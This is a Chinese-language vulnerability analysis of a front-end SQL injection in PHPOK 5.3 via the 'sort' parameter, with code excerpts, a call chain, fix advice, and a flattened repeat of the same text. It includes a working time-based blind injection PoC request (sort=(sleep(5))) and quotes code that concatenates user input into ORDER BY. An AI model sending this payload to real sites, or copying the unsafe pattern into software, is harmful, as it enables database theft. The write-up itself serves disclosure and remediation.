某OK 5.3 最新版前台无限制注入(二)
字数 838 2025-08-26 22:11:39

PHPOK 5.3 前台无限制SQL注入漏洞分析

漏洞概述

PHPOK 5.3最新版存在一个前台无限制的SQL注入漏洞,攻击者可以通过构造特定的HTTP请求,利用sort参数实现SQL注入攻击,可能导致数据库信息泄露、权限提升等安全问题。

漏洞分析

漏洞位置

漏洞主要存在于以下文件和方法中:

  1. framework/model/list.php中的arc_all方法
  2. framework/phpok_call.php中的_arclist方法
  3. framework/api/project_control.php中的load_moduleindex_f方法

漏洞调用链

index_f() -> load_module() -> _arclist() -> arc_all()

关键代码分析

  1. arc_all方法中的SQL拼接问题
public function arc_all($project,$condition='',$field='*',$offset=0,$psize=0,$orderby='') {
    // ...
    if($orderby){
        $sql .= " ORDER BY ".$orderby." "; // 直接拼接$orderby参数,未做过滤
    }
    // ...
    $rslist = $this->db->get_all($sql,'id');
    // ...
}
  1. _arclist方法中orderby参数传递
private function _arclist($rs,$cache_id='') {
    $orderby = $rs['orderby'] ? $rs['orderby'] : $project['orderby'];
    $rslist = $this->model('list')->arc_all($project,$condition,$field,$offset,$psize,$orderby);
    // ...
}
  1. load_module方法中sort参数处理
private function load_module($rs,$parent_rs='') {
    $sort = $this->get('sort');
    if($sort){
        $dt['orderby'] = $sort; // 直接使用用户输入的sort参数
        $pageurl .= '&sort='.rawurlencode($sort);
        $this->rlist['sort'] = $sort;
    }
    $info = $this->call->phpok('_arclist',$dt);
    // ...
}
  1. index_f方法调用load_module
public function index_f() {
    if($project["module"]){
        $this->load_module($project,$parent_rs);
    }
}

漏洞利用

利用条件

  1. 目标系统使用PHPOK 5.3版本
  2. 存在可访问的api.php入口
  3. 存在project模块

POC构造

GET /api.php?c=project&f=index&token=1234&id=news&sort=(sleep(5)) HTTP/1.1
Host: target.com

利用特征

  1. 通过sort参数注入SQL语句
  2. 可以利用时间盲注技术进行攻击
  3. 数据库特性:查出几列数据order by会sleep几倍时间

修复建议

  1. sort参数进行严格过滤,只允许特定的字符(如字母、数字、下划线等)
  2. 使用预编译语句或参数化查询
  3. 对用户输入进行转义处理
  4. 限制order by子句只能使用白名单中的列名

技术总结

该漏洞的核心问题在于:

  1. 用户输入的sort参数未经充分过滤直接拼接到SQL语句中
  2. 通过index_f() -> load_module() -> _arclist() -> arc_all()的调用链,将用户输入传递到SQL查询中
  3. 由于PHPOK框架中_f结尾的函数可以直接调用,导致攻击面扩大

攻击者可以利用此漏洞实现时间盲注攻击,获取数据库敏感信息或执行其他恶意操作。

PHPOK 5.3 前台无限制SQL注入漏洞分析 漏洞概述 PHPOK 5.3最新版存在一个前台无限制的SQL注入漏洞,攻击者可以通过构造特定的HTTP请求,利用 sort 参数实现SQL注入攻击,可能导致数据库信息泄露、权限提升等安全问题。 漏洞分析 漏洞位置 漏洞主要存在于以下文件和方法中: framework/model/list.php 中的 arc_all 方法 framework/phpok_call.php 中的 _arclist 方法 framework/api/project_control.php 中的 load_module 和 index_f 方法 漏洞调用链 关键代码分析 arc_ all方法中的SQL拼接问题 : _ arclist方法中orderby参数传递 : load_ module方法中sort参数处理 : index_ f方法调用load_ module : 漏洞利用 利用条件 目标系统使用PHPOK 5.3版本 存在可访问的 api.php 入口 存在 project 模块 POC构造 利用特征 通过 sort 参数注入SQL语句 可以利用时间盲注技术进行攻击 数据库特性:查出几列数据order by会sleep几倍时间 修复建议 对 sort 参数进行严格过滤,只允许特定的字符(如字母、数字、下划线等) 使用预编译语句或参数化查询 对用户输入进行转义处理 限制 order by 子句只能使用白名单中的列名 技术总结 该漏洞的核心问题在于: 用户输入的 sort 参数未经充分过滤直接拼接到SQL语句中 通过 index_f() -> load_module() -> _arclist() -> arc_all() 的调用链,将用户输入传递到SQL查询中 由于PHPOK框架中 _f 结尾的函数可以直接调用,导致攻击面扩大 攻击者可以利用此漏洞实现时间盲注攻击,获取数据库敏感信息或执行其他恶意操作。